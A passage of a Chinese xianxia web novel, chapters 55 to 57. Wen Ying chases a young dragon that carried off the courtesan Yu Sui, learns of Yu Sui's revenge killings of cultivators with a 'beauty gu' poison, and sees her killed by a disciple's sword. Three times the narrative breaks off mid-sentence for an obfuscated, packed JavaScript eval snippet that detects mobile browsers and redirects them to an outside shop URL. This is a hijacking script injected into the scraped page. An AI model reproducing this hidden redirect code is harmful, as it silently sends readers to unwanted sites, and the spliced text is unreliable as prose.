直到管事将视角完全转动到他们这个角落,姜扶雪闭上眼,俯下身子,闻樱脑子一片空白,下意识地抬起手指,压在自己唇上。 他没有亲她,在她唇前堪堪停住,睁开眼,看着她的动作,眼底慢慢漾起笑意。 闻樱的脸腾地红了起来,她竖起的指尖就在两人中间昭然,收也不是,继续竖着也不是。 管事看过来,挠了挠头。 在他的视角中,纤瘦的女孩子被男人整个压在墙角,一味索吻。 他少有的尴尬起来,讪讪道:“你们继续。” 直到管事的脚步声远去,姜扶雪才直起身,松开闻樱的手。 她白皙的掌心已微微濡湿,方才十指相扣,这汗也不知是他俩谁的。 安全了,闻樱还没忘了他刚才笑自己的事,一双乌黑桃花眼隐含水色,潋滟地瞪了姜扶雪一眼,没好气地问:“你笑什么?” 他伫足沉默,随后指了指离去的管事:“笑他。” 指了指楼下宾客:“笑他们。” 最后,他指了指自己。 “笑我自己。” 唯独不肯说在笑闻樱。 闻樱哼了一声,留下一句:“这还差不多。” 转身,衣裙飘飘然地往楼上急急走去。 这一路几经波折,总算是到了玉碎门前。 闻樱敲了敲门,耐心地等了一会儿,里面一片死寂。 她面色稍沉,又敲了一次,这次依旧没人开,她与姜扶雪对视一眼,暗道不好,抬手推开了大门。 曾借助黑豆眼看到的屋内陈设依旧如往常摆置,然而那名叫弧月的贴身女使躺在地下,玉碎则不知所踪。 琵琶倒在地上,闻樱连忙走过去,将弧月翻过身来,掐她人中。 好在弧月只是晕了过去,睫毛抖了抖睁开眼,认出了闻樱是那日在鸡鸣寺见过的熟人,抓着她的手腕虚弱道:“救姑娘,救我们家姑娘,她被人带走了。” “你看到她往哪个方向去?” 弧月指向窗外:“西边,快!” 闻樱将弧月拖到床上,自己则扶着窗沿往外面一看,此处是顶楼,距离楼底有相当大的高度。 且窗沿上没有脚印。 如果弧月没有说谎,贼人是如何带着玉碎那么大一个活人从这里离开的? 闻樱抬头,望向天上。 “师兄,御剑!” 两人按照弧月说的方向,御剑而去。 55.回忆 今夜孤星伴月,夜色幽深,乌云将月色掩映。 金陵城已然宵禁,偌大街巷空无一人。 此时若有人出门抬头看,定能看到高悬的明月间,一条长龙穿破云层,在乌云雾气中翻腾。 上面有一抹小小的影子,清瘦纤弱,抓着龙凌乱的鬃毛,头发在狂风中乱舞,白色的衣衫在身后飘摇。 紧随一龙一人之后,是流星一剑,青色的利刃划破天际。 闻樱站在后面,掐诀念道:“天行有道,福祸无常,请灵入圣,头足倒置。” 无常·逆行 前面原本平稳穿梭在云层中的龙躯干一顿,头尾不受控制地摆动起来,仿佛失去了方向,他背后的女人也被颠簸地摇摇欲坠,几次差点从龙背上摔下来。 它像是知道闻樱不会轻易放走他一般,猛地一头向下扎去,往地面俯冲。 这一带是金陵城外的茂密荒林,龙头势如破竹地冲向地面,一路树木被连根拔起,东倒西歪,凡路过之地,一片狼藉。 闻樱二人紧随其后,染玉紧贴地面,急速前行。 忽然,龙身逆转,蜷曲粗壮的龙身在地上卷起飞砂乱石,发出嘎啦的剧烈声响,整条庞大的龙在地上盘踞起来,上肢高高地扬起,冲向闻樱,张开嘴,发出凄厉的威胁嘶鸣声。 朔风从龙口中喷出,闻樱头发尽往后飞去。 她抬手,挡住这满含腥臭的飓风,另一只手从地上拾起一根树枝,迎了上去。 以树枝战巨/龙,她还是第一人。 树枝上附着了灵气,每每刺去,都带着凛冽剑气。 闻樱这才借着月色看清,所谓的龙只是一条化螭没多少年的巨蛇。 传闻蛇五百年化蚺,蚺五百年成蛟,蛟五百年炼螭,再五百年成虬,最后方能化龙。 之所以说它化螭没多久,是因为庞大的蛇身上还保留着蛟的形态,额头空空荡荡,仅仅冒出了一个尖角,正要萌发出角。 尾巴也光秃秃的,不若在神庙看到的那只夔龙,身上的鳞片泛着冰冷的光泽。 这是一只年纪不大的螭,还保持着青年的形态,目光戒备地紧盯着闻樱的手,揣测她下一步会刺向哪里。 然而预想中的剑气没有来,闻樱提醒他:“蛇修炼至今不容易,至少也要一千五百年,你若是在今日犯下杀戒,一千五百年便白费了。” 螭龙的瞳孔紧紧盯着她,沉闷的声音从蛇身腹腔发出。 “不用你管。” “但是你背上的人,我必须管,你不能杀了她。” 螭龙没有否认,而是以行动说话,尾巴扫过地上树木,扬起灰尘漫天,重重向闻樱拍来。 闻樱见状,也不再多言,树枝灵活地在蛇身中穿行,将螭龙厚重的蛇皮划开一道道口子。 螭龙大怒,幽绿细长的瞳仁锁定她,闻樱忽然想起秦雪溯曾经提到过的,她在马车里曾经对上的一双眼睛。 那时闻樱还没想明白究竟是什么妖怪,会拥有那样的瞳孔。 而现在看到螭龙眼眸的那一刻,她恍然大悟,道:“那天致使安平县主受到惊吓的人,是你!” 螭龙不说话,闷头打着。 闻樱继续道:“凤仪楼就在就在守经街不远处,你因为什么原因不能随意移动,只能借助凡人身躯,所以为了让秦雪溯腾出位置来容纳你的魂魄,你吓走了她一魂,自己藏在里面,马车经过凤仪楼的时候,你便离开了她的身体,回到了凤仪楼。” “是又如何?”螭龙道。 “所以车夫也是你杀的。” 螭龙不置可否:“他若不大喊大叫,我也不会想着杀他。” “原来如此,原来如此。”闻樱明白了前因后果,更加不敢掉以轻心。 如果这是一条杀生过的螭龙,那么他背后的玉碎现在很危险。 可打着打着,闻樱又发现了不对劲的地方。 螭龙始终顾及着背后的玉碎,导致招式之间处处受挫,打的很憋屈。 他好像并不想伤害背后的玉碎。 那他带走玉碎是为了什么? 眼见着螭龙被闻樱打的毫无还手之力,玉碎知道是自己拖了螭龙的后腿,螭龙本不必如此憋屈的。 她伸出手,摸了摸螭龙头顶的萌芽。 “别打了,放我下来,我有话和她说。” 螭龙回头朝她不悦地张开嘴。 “乖。”玉碎浅浅笑起,目光温和。 她与螭龙四目相对,眼底有什么一闪而过,螭龙像是明白了什么,弯下高昂着的头颅,将玉碎放下来。 他匍匐紧贴地面,让玉碎得以安稳降落。 玉碎整个人单薄的像是随时会消失在夜色中,她从螭龙身上掉下来,拢了拢身上被吹乱的披风,堪堪站稳。 那样瘦弱的一个人,站在螭龙面前像是一只随时会熄灭的蜡烛。 玉碎看着闻樱,莞尔:“又见面了,道长。” 闻樱将树枝丢掉,以示诚意。 “你知道我要来找你吗?” 玉碎摇摇头:“知道。也不知道。” “我知道你怀疑我,想要来找我问话,但我并不知道你今夜就要来。毕竟你刚来过,我以为最快也得明天。” 闻樱默了片刻,道:“我不能让你再继续这样杀下去。” 玉碎好一会儿没说话。 许久,她问:“你觉得我很坏吗?” “我不知道你为什么要这样做,我也不能妄下定论,说你就是好,亦或者坏。我第一次去凤仪楼找你,也不是想将你直接抓起来,我更想听听为什么。” “为什么我也是修士,不杀我,甚至我的朋友,林妙音,李却扇,你都没有下手。而是选择了对萧凡下手,我想知道为什么?” 玉碎又是好一会儿没说话,但这次,她是在组织语言。 闻樱很有耐心地等她开口。 “你变了很多。”玉碎忽然道,“曾经你不长这样,见你第一面的时候,我只觉得你亲切,没觉得你会是故人。直到你将伞柄折断,递给我,一如当年。当年你也是这样,折断伞柄,把伞塞进我手里。” “所以就算你变了样貌,我也依旧能认出你。” 玉碎深吸一口气,脸上扬起笑容来:“你是行遍天下,惩奸除恶的仙人,你救过那么多人,只怕早就忘掉了我。” 十三年前,锁灵渊正道围剿魔骨,以法阵抽取金陵城生息,困死护法林停戈。 无数当时在外地,听闻金陵城遭遇的人匆匆赶回,却无法进入已经启动的法阵,只能在城门外掩面哭泣,哭嚎声响彻天地。 雷云翻滚,老天落泪。 那是第一次,闻樱意识到所谓的天才其实什么都不是。 她无法停止这场屠戮,无法制止正道的‘审判’。 一个约莫六七十岁的老婆婆银发苍苍,漫步蹒跚,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12930718|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里还牵着一个几岁大的小姑娘,跪倒在门口哭泣。 她不停地跟面前的每一个玄剑宗弟子磕头:“求求你们,求求你仙人放过我们好吗,我的儿子儿媳还在里面,求求你们,求求你们了!” 站在她面前的玄剑宗弟子一身白衣,不染尘埃,上面绣满寓意正气济世的天目玉兰。 他们高高在上地俯视这些最平凡不过的百姓,好像忘记了在进入锁灵渊求仙问道之前,自己也是一个平庸的凡人。 他们不耐烦地一脚把老人踢开,老人口中鲜血外溢,两颗沾满血迹的牙齿掉在地上。 疼,太疼了。 老人感觉浑身骨头都要散架,扑通一声跌倒,像是破败的风箱只能兀自发出嗬嗬的痛苦喘息声。 她旁边的小女孩扑到老人身上,哭着说:“别打了!别打我奶奶,别打了!” 为首的弟子咧嘴一笑,抬脚踹来,就在这时一只手从他身后探出,用力掐紧他的脖子。 男人明明比闻樱高出去一头,闻樱却拎鸡仔一般把他从地上提起,丢到一旁。 她倾伞,伞面盖过女孩和她的奶奶。 雨水落到她身上的一瞬,又被灵气蒸发殆尽。 老人看起来就要死了,有进气没出气。 她在身上摸了个遍,总算是找到了回阳丹,摇了摇,想来还有个五六颗,喂了老人一颗,剩下的一口气全塞给了小女孩。 回阳丹下肚,老人的面色终于好看起来,起码没有性命之忧。 她松了口气,把身上的碎银都掏出来放到女孩腿上:“你走吧,离开金陵城。” 女孩脸上满是泪水,哭的狼狈。她尚且年幼,还不知道为什么会遭受这种无妄之灾。 女孩仰起头,一边哭,一边问:“姐姐,是我们做错了什么吗?” 握在伞柄的手缓缓收紧,雨声在耳边淅沥清晰,稚嫩的声音一字一句敲打在闻樱的鼓膜。 闻樱不知道该怎么跟面前这个不过五六岁的小女孩解释现在发生的一切。 只能沉默沉默再沉默。 许久,她听到自己说:“错的不是你们,你们没有做错。” 今夜死在这场罔顾人命的祭祀中的所有人都没有错。 错的是将人命视为草芥的修仙之人,将他们所谓的宏图伟业,所谓的计划凌驾于人命之上,在他们眼中,人命不过是各界斗争的牺牲品,轻之如鸿毛。 而这些人命对于每一个背后的家庭而言,却重逾千斤。 何为问世? 闻樱又一次问自己。 问人世间,荡不平事。 她比任何人都坚信,拿起剑的那一刻,就是为了尽可能庇护更多人。 所以她一次又一次地参加问世,一次又一次地斩妖除魔。 可杀光面前为祸四方的妖魔,身后的正道同门却挥刀向她一直保护的凡人。 她,她们,还有死去的所有金陵城的百姓,他们明明什么都没有做错。 却沦为仙门斗争的牺牲品。 闻樱该如何心安理得地忘记他们的面容。 恶心肮脏的是她,是自诩救世的修士,她又怎么有脸在这样的人间炼狱面前,高高在上的向凡人施舍善意。 沉默过后,她将伞留给女孩,自己则将伞柄折断。 松开五指,将自己握过的伞柄弃置一旁。 她沉默地起身,背着婴宁剑,头也不回地离去。 56.仇恨 那是闻樱留给玉碎的最后一面。 十数年时光匆匆而过,时过境迁,她已从那个毫无反抗之力,只能发出微弱质问的小女孩,变成了手刃无数修士的女人。 “你走后,奶奶没过几年,也因为思念爹娘而亡,从那一刻起,这个世界只剩下我一个人。或许我应该去死,这样的日子过下去有什么意思?我所热爱的家乡变得面目全非,我所挚爱的亲人一个接一个离去。” “但是我没有死,我怎么能纵容杀人凶手将金陵城的惨状遗忘的一干二净,继续践行他们的飞升之路?继续修他们的所谓正道?” 玉碎眼底的光彻底冷下来:“我要杀了他们,来一个杀一个。我主动找上了凤仪楼的管事,这些年我琴棋书画,什么都学,我将时间拆成几倍来用,我不敢有一刻松懈,就是为了今日。” “我接客,只接修士,因为他们该死。” 所有凤仪楼的姑娘对于玉碎做的事情,都有所猜测,可她们没有问,而是默默为玉碎将事情瞒下,管事抹去修士来过的痕迹,凤仪楼的姑娘们也缄口不谈,一切做得天衣无缝。 没有人会相信一个凡人,一个女人,有本事杀掉那么多的修士。 凡人和修者之间存在天然的界限,修者想要杀死凡人,就像碾死一只蚂蚁那么简单。可她做到了,不光做到,还杀了那么多。 “那纪如真呢?”闻樱想起玉碎砸碎的那块玉佩。 “我以为你会问我董刚。” 闻樱淡淡道:“他死有余辜。” “是啊……”玉碎附和,“他死有余辜。他用尽花言巧语,用尽所有积蓄,求娶秋娘。秋娘被他的真心所打动,这才嫁给他,可他得到秋娘之后,却从不珍惜,动辄打骂,在外看着人模狗样,关上门却连人都不做了,这样的人杀了他,也算我替天行道。” 玉碎从不后悔自己杀的每一个人。 闻樱曾听人问过一个问题。 如果面前有两个人,一个是你爱的人,另一个是爱你的人,你会选择哪个? 人们总是倾向于选择爱你的人,似乎这样才会幸福。 可人心善变,今日爱,明日爱,难保日日都爱。 若他日无爱,曾经在你身上付出的爱就会变成最锋利的尖刀,重新刺向你。 因为对方想要找回自己在你身上失去的尊严。 我为你付出了那么多,我那么爱你,现在我要从你身上加倍的讨回。 所以如果一定要选,闻樱只会选她爱的人。 然后想尽办法让他爱上自己。 “至于纪如真,不过是个意外而已。” 玉碎淡淡道,仿佛口中所提的纪如真只是一个陌生人。 纪如真是玄剑宗清正端方的师兄,人人赞一声少年名流,更是孟善长老最钟爱的亲传弟子,前途大好,身份贵重。 他并不和玄剑宗弟子私下交往过密,更多的时候他都行走在凡间。 那日他行至金陵城,看到茶楼下,道路上,人流拥挤,水泄不通,人们将头高高扬起,似乎在围着看什么珍奇异宝。 纪如真目光向上抬。 珍奇异宝没有,推开的窗子内,是位一身清减素衣的姑娘。 四目相对,一眼万年。 “比起那些买我时间,恨不得手黏在我身上不下来的修士,他和我之前认识的修士完全不同。” 那个呆子,交了大把大把的银钱,却只跟她隔着一个屏风,各坐一旁。 玉碎以为这就是纪如真的癖好,他不知用了多少钱,把玉碎的排期全部买断,却只为了跟她隔着屏风枯坐。 玉碎觉得这人真是个奇人,本以为两人就会这样下去的时候。 第七日,纪如真终于说话了。 他说:“我叫纪如真,澧州人士。” 这本应该出现在初见第一日的话,他硬生生攒到了第七日。 玉碎哦了一声,娓娓道:“我叫玉碎,青州人士。” 第七日,两人终于撤掉了中间的屏风,玉碎看到了传闻中的呆子。 说实话,玉碎甚至都想过这是一个人傻钱多,兴许还会流口水的傻子。 却没想到屏风那边的青年,长身玉立,玉树芝兰。 他身后还背着一柄长剑,腰间系有玉碎熟悉的护花铃。 原来,又是一个修士。 她和他对视的那一刻,缓缓笑起来。 因为她知道,属于她的猎物又送上门来了 “他来的很勤,但却并未有过任何逾矩。”玉碎回忆道。 更多的时候,玉碎抚琴,纪如真看着她发呆;玉碎作画,纪如真给她讲自己问世的所见所闻。 玉碎总是很好奇,修士的世界是什么样的? 纪如真起初以为玉碎只是单纯的向往锁灵渊,后来他才发现,自己每每提到锁灵渊的时候,玉碎总是笑得很古怪。 她的笑容是微凉的,又满含讽刺。 可每当纪如真探究地看过去时,她又是一副无害温婉的模样,拿起桌上的画纸,呈给他看。 “这是什么花?”纪如真很少关注这些。 “波上灵妃。”玉碎好笑地看他,“你竟不知?” 纪如真微微有些尴尬地侧过头,赧然:“我见过,但不会去深究它们究竟是什么花,叫什么名字,开在何时何地。” “那现在呢?”玉碎问。 现在。 纪如真想了想,说:“如果是现在,我愿意为这朵花停留,去问问它叫什么名字,开在什么时节。” 玉碎提着笔,许久没有说话。 饱蘸浓墨的笔锋落下一滴黑墨来,在笔下雪白的宣纸上晕染出大片的墨痕。 “你的纸……”纪如真提醒她。 玉碎恍然回神,将笔放下,纸撤掉。 她温声道:“纪公子古道热肠,关心民间疾苦,不似我,只关注些风花雪月。既如此,你不知道这花叫什么,也很正常。” 纪如真还想多诱她说些真心话:“你喜欢这株花吗?” 问完,他又有些懊恼。 不喜欢画出来做什么呢? 出乎意料的,玉碎摇了摇头。 “我不喜欢水仙花。” 顿了顿,她继续说道:“我喜欢的是山间最不起眼的小花,也许一不留神,公子就会将她们踩碎在脚下。” 纤弱,又不起眼的小花。 山间遍地都是,别人一只手就能碾死她。 可她即便被踩到泥土里,也会挣扎着重新站起,开满山野。 纪如真听出她是在以花自寓,想了想,道:“其实……” 其实我喜欢你所谓的,不起眼的小花。 可他还没说出口,就感到一阵剧烈的眩晕袭来。 “纪公子!”玉碎急忙扶着他。 纪如真摆摆手,另一只手扶额:“没事,我没事,你不用担心。” 美人蛊起作用了。 纪如真只要再来几次,就会悄无声息地死去。 他如果知道每一次和玉碎见面,对视的一瞬间, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12954072|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她都在通过眼睛悄无声息地将蛊毒下在他身体里,肯定跑得比兔子都快。 可惜,他不知道。 “美人蛊?”闻樱喃喃,“这种蛊毒在千年之前就已经失传,你是如何得到的?” 千年之前,失传。 不等玉碎回答,闻樱就已经想明白。 她将目光左移,看向那只面目狰狞的庞然大物。 “是螭龙,帮了你对吗?” “是。” 玉碎道。 金陵城有一个古老的传言,金陵城外乌熔山内,有一座存在了几千年的神庙,传闻神庙之内,有神的一部分力量寄存在那里。 她只是一个微不足道的凡人,想要尽可能地杀修士,无异于天方夜谭。 所以她孤注一掷,想要借助神的力量。 于是九岁的玉碎,孤身一人远赴乌熔山。 她不知道自己走了多久,走到两只脚没有知觉,走到脚底板密布水泡,走到头晕眼花已经辨不清方向。 她一定要找到神庙。 她要给爹娘还有奶奶报仇。 她咬着牙,拄着木棍,执着地一步一步向前,小小的身影独自走在荒原。 终于,一阵风吹过,她重重倒在地上,嗓子眼干涸的像是有一百把刀子在里面割动。 好可惜,她好像也要死了。 闭上眼的那一刻,她在想。 有没有谁来救救她,谁也好,救救她。 再一次睁眼,她看到一条龙盘踞在自己面前。 庞大的,传说中的巨大生物瞬间攫取了她全部心神,她能清楚的听到心脏砰然跳动的声音。 龙开口,问道:“你看我像什么?” 玉碎怔怔吐出一个字。 龙。 刹那间,灵力狂舞,神魔呓语。眼前的蛟龙猛长数倍,在灼灼金光中,发生了些许变化。 待到灵力平复,龙道:“多谢,我可以满足你一个愿望。” 玉碎有什么愿望呢? 活到现在,支撑着她继续走下去的,只有仇恨。 她不明白发生了什么,但不妨碍她抬头,坚定道:“我想要杀修士,即刻,亲手杀掉他们。” “我也在修炼路中,不能杀生,不过我可以教给你如何炼蛊,如何种蛊。” 它的眼睛与玉碎相对。 玉碎像是被漩涡抽离其中。 “这叫美人蛊,当你与对方四目相对的时候,可以选择下蛊。不过他们都是开了灵智的修士,而非凡人,相当于你以血肉之躯屠神,美人蛊发作的时候,你也会受蛊毒反噬,死的修士越多,你的寿数就越短。” 螭龙问:“哪怕这样,你也不后悔吗?” “我不悔。” 螭龙看着眼前这个凡人,静默了许久。 它曾看过很多凡人,也曾向很多人讨封,讨成功过,也失败过,他的岁数早就数不清有多长。它每次都会对那些帮助过自己的凡人提出满足他们一个愿望。 有人许愿长生,有人许愿财富,有人许愿健康。 唯独面前这个小女孩,许愿杀戮。 它化作一团雾,静静陪在玉碎身边,看她杀掉一个又一个修士。 看她在深夜被蛊毒反噬。 它本应厌恶这样狠毒的女子,可它做不到。到了后来,玉碎自己收到反噬的蛊毒已经深入骨髓,它开始发了疯一般寻找解蛊良药,但都没用。 它不想失去玉碎,不想让余生在失去玉碎的前提下,漫无目的地活着。 57.誓言 “所以,你是金陵神庙的守夜人?”闻樱想起在玉虚境中,素素说过,每一个神庙都由守夜人看守,而金陵城的神庙,她并未见到守夜人。 原来守夜人本是一条灵蛇,修炼得道自行离开了。 它本想报完恩,就继续回去当自己的守夜人,却没成想对凡人动了心,最后甚至为凡人犯下杀戒,从此与正道无缘。 玉碎又是一阵撕心裂肺的咳嗽,即便不通医术,也能看出她时日无多。 闻樱等她咳完,问:“你想见见纪如真吗?” 玉碎愣了一下,抬头看去:“你说什么?” “美人蛊杀人于无形,不会留下一丝一毫的痕迹,但纪如真将他的魂魄藏了一缕在那枚被你摔碎的玉佩上,当日你摔碎玉佩的时候,他的魂魄逃逸出来,你想见见他吗?” 玉碎思忖片刻,笑:“好啊,刚好我也没多少时间了,见见他也无妨。” 如她所愿,闻樱抬手结印。 “万灵归心,应变无停,九州星辰,请魂降世。” 神女·召魂。 灵力如飓风涌向闻樱,气浪滔天,紧接着忽然归于沉寂。 树木静止,喧嚣的怒风停缓。 似乎有什么东西,破开闻樱的结界涌入进来。 缓缓停在了闻樱面前,闻樱神色无悲无喜,在他眉心轻点。 人形在闻樱指下显现。 螭龙撩起眼皮看了一眼,嫌弃地撇开眼,不愿再看。 反倒是玉碎,微微一笑,一如初见:“纪公子,是你吗?” 无主之魂徘徊此地,忽然被召唤现形,茫然无措,紧接着他抬眼,看到了玉碎。 面对这个杀害他的人,他并没有愤怒,厌恶,而是无奈。 “你还是被美人蛊反噬了。” 玉碎笑道:“我已经不知道杀了多少人,早就无力回天。反倒是你,应该很不想看见我吧,我明知你和他们不一样,却还是将你杀死。” 魂魄摇摇头:“我从来没有怪过你,我早就知道你在我眼里种蛊。” 玉碎错愕。 就连螭龙也看过来。 “在我第一次感到晕眩的时候,我就知道我已经中蛊,玄剑宗南长老,当世第一辅修,医术出神入化,和我师父走得近,所以我对医术也略有了解,对中蛊的反应并不陌生。” 玉碎问:“那你为什么还不跑?还要一直来我这里呢?” “我知道你被蛊毒反噬,如果想要为你清除蛊毒,只能来见你。” 一股寒意窜上玉碎的背脊,她眼睛睁大,质问:“所以那些午后,我总是莫名其妙的昏睡过去,是你!” “对,是我。” 玉碎不知从什么时候开始,总是感到困倦,下午总是会糊涂地睡过去。 有时候是忽然看书,有时候是在听纪如真说话,眩晕涌来,她模糊睡去。 每次醒来的第一眼,她看到的都是纪如真。 黄昏为他镀上温暖诱人的虚影,如今想来竟好像还在梦里。 所以纪如真知道自己在害他,才会将藏有自己魂魄的玉佩交给弧月。 他明明什么都知道。 “你是傻子吗……” 纪如真:“我不想让你死。” 这是她和爱距离最近的一次。 玉碎闭目,泪水滑落。 纪如真虚幻的指尖穿过她苍白到近乎透明的面庞,男人声音温和:“别哭,我告诉你这些,并不是为了让你哭,而是想让你别哭。” “我只是想告诉你,再不起眼的小花,也会有人看得到。” 魂魄闪动,纪如真停留阳世的时间到了。 远处的雷云传来滚滚轰鸣,纪如真最后深深看了玉碎一眼,消散在原地。 雷劫要到了。 螭龙硕大的身躯在地上缓缓移动,他直起前肢,无畏地直视雷云。 他是守夜人,亦是道行千年的龙,却屡犯杀戒,螭龙早就料到了会有今日。 他将玉碎衔起来,送到闻樱身边,自己则迎着雷云腾飞而上。 树木沙石被龙卷风卷去空中,飞沙走石,狂风大作。 玉碎眼睛被沙石划伤,她却依旧大睁着眼,看着那条庞大的螭龙,在雷云面前显得如此渺小。 血从她眼眶缓缓滴落。 “不要……” 她低喃。 一道紫雷以星流霆击之势,猛然降世,劈在螭龙刚刚萌发出的龙角上。 紧接着数道紫雷猛烈地砸在他身上,贯穿他的龙身,发出震撼天地的轰鸣。 最后一道,名为生死咒,声势浩大,紫雾凝聚,带着势如破竹之势,猛然贯下! 这最后一道雷劫,将螭龙从空中击落,急速坠地,轰然激起碎石飞扬。 等到土雾散去,地上已然被雷电劈出一道深坑,坑里面满是灰黑,似乎还能听到电流流窜声。 坑的正中央,仅剩下一只小蛇。 一条仅有成年男人手臂长短的小蛇。 小蛇蜷了蜷身子,尾巴在地上摆动。 它茫然地看着周围几人,紧接着逃也似的奔向丛林深处。 他忘了玉碎,忘了神庙,回到了最初,还是小蛇的模样。 玉碎终于捂着心口放声大哭起来。 上天好像总是对她格外残忍。 任何东西都让她曾经短暂的拥有,再永远地从她手中夺去。 曾经是,现在也是。 闻樱想要蹲下身子安慰她,远处,利刃破空之声传来,撕裂空气,发出清脆剑鸣声。 闻樱抬手,想要生生接下这剑。 然而有人比她更快,挡在了她身前。 剑没入肉/体的扑哧声清晰传来。 闻樱不敢置信地低头。 龙渊剑贯穿了玉碎的身体,将她的心脏顷刻之间绞碎。 玉碎单薄的身躯倒入闻樱怀中,一双曾经无比耀眼明亮的杏眸留恋地看着闻樱。 她一张嘴,就不断地有血涌出。 “回阳丹!”闻樱一如曾经地在身上疯狂寻找回阳丹,她颤颤巍巍地打开瓶盖,囫囵往玉碎嘴里倒。 然而玉碎混着血吐出来的药,比吃下去的还要多。 没有用的。 被龙渊剑粉碎心脏,别说是回阳丹,哪怕是大罗金仙亲至都无力回天。 闻樱跪坐在地,感受生命在她掌心一点点流逝。 玉碎满是血液的手,一把抓住闻樱的手腕,艰难地将想说的话一字一句挤出。 “我不能……” “再……” “失去你。” “不要,不要,不要。” 闻樱慌乱地将她抱在怀里,紧紧搂着她,想要将自己的温度渡给她。 兴许是回阳丹下肚起了作用,又或许是回光返照,玉碎面容平静了许多。 一行人从远处姗姗来迟,宁红玉欣喜地指着龙渊剑笑道:“顾师兄,你的剑在这里!天呐你好厉害顾师兄,离那么远你都能一击毙命。” 顾其渊没有说话,他看着闻樱瘦弱的背脊,苍白的仿佛随时会在这个雨夜散去。 他内心忽然涌上一股莫大的惶恐。 萧凡看到那具尸体,还有面前的一片狼藉,笑道:“折腾了这么半天,还得我们出手。” 玄剑宗的几名弟子拿出宿玉,看了一眼排行榜,欢喜道:“太好了!你看,我们名字后头已经是一万积分了!” “那我们是榜首了吧?” “没有没有……”那弟子看了一眼闻樱,使了个眼色,“还有他们呢,并列的。” 大家这时候才感觉到气氛有些不对劲。 他们在后头跟了闻樱两人很久,却没成想跟丢了,直到观察到这边雷云翻涌,他们才急忙往这边赶来。 所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12967927|131344||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 幸他们来的及时,没造成太大伤亡,还是斩杀了妖孽。 如此他们也就安心了。 宁红玉咬咬唇,方才靠近的时候,玉碎说的话她也零碎听到了一些,她不解地问:“你难道不后悔吗?纪如真是真心喜欢你的,如果你不误入歧途,你就能和过去划清界限,过上安稳的生活。” 误入歧途。 划清界限。 玉碎像是听到了什么笑话,边吐血边笑的癫狂,血与泪,土与尘在她脸上混乱一片。 “后悔?那你们呢?你们后悔过吗?!凭什么一句所谓的喜欢我就要因为他而放下我的仇恨? 从我父母死的那一刻,修士就站在了我的对立面,凭什么一句喜欢,就要让我和昔日仇敌干戈化为玉帛?他喜欢我,和我有什么关系?你是不是觉得,只要他说一句爱,我就什么也不管不顾了,放下一切跟他在一起?” 她咧开嘴,眼神轻蔑地看着宁红玉,一字一顿:“如果你们无悔,那么我亦无悔。” 宁红玉被玉碎望着,眼眶微红:“我也只是为你好,想劝劝你……你本不必这样的。干嘛这么凶……” 跟在她后头的玄剑宗弟子安慰她:“不用理会这种滥杀无辜的人,师妹你就是心肠太好,跟这种人有什么话说?直接杀了就是!” 他提剑直直往下捅去,然而剑刃还未触碰到玉碎,整个人就砰的一声飞了出去。 姜扶雪抬起的手慢慢放下,目光从始至终都只落在闻樱身上。 “你!”萧凡欲要拔剑。 玉碎的声音断了。 她抓住闻樱的手腕,用尽最后一丝力气祈求。 “求你。” “不要怪我。” 女人眼底的神采一瞬寂灭。 她的手松开闻樱的手腕,无力坠下。 浇灭天地的大雨倏然落下,闻樱跪在雨中,感受怀里的温度一点点冰冷。 宿玉在她袖中振动不停,她已经没有心情去看上面又写了什么。她想起了宿玉曾经问她,是否忘记曾在金陵城看到的一切,又是否忘记曾经的誓言。 她从未忘记。 从未忘记每一个人的痛哭哀号,从未忘记年少时立下的要肃清锁灵渊的誓言。 【金陵城一行,想必你已经记起了痛苦的往事。如果你无法选择在痛苦中麻木,那么请你于毁灭中新生。回到剑冢,拿回婴宁剑,斩尽天下不义之人。 主线任务:毁灭修仙界 任务进度:40】 “你……”顾其渊开口。 闻樱打断:“你为什么要杀她。” 宁红玉:“师妹你别生气呀,师兄也是担心你……” “闭嘴。”闻樱厉色道。 宁红玉一怔。 师姐从来没有这样跟她说过话。 “师妹,不能因为你没拿到积分,就气急败坏……” 闻樱抬手,直接封住了萧凡的嘴。 萧凡呜呜两声,眼里满是惊诧错愕。 一个新入门的弟子怎么可能把令咒用得如此娴熟? 闻樱起身,直视顾其渊:“我问你为什么,你是哑巴吗?” 暴雨模糊了顾其渊的视线。 她生气了,是吗? 一个凡人,死了就死了,她为什么会这么生气? 为什么总要这样,总要用看垃圾的眼神看他? 你是师姐吗? 如果不是,为什么连眼神都能一模一样。 顾其渊破罐子破摔地笑起来:“为什么?因为我想拿第一,进禁地啊。难道你不想吗?你总是高高在上地审判我,其实你跟我一样,不都想进入禁地,从此修为暴涨吗?” “禁地。” “第一。” 闻樱看着他,一字一句:“好,想要积分,对吗?” 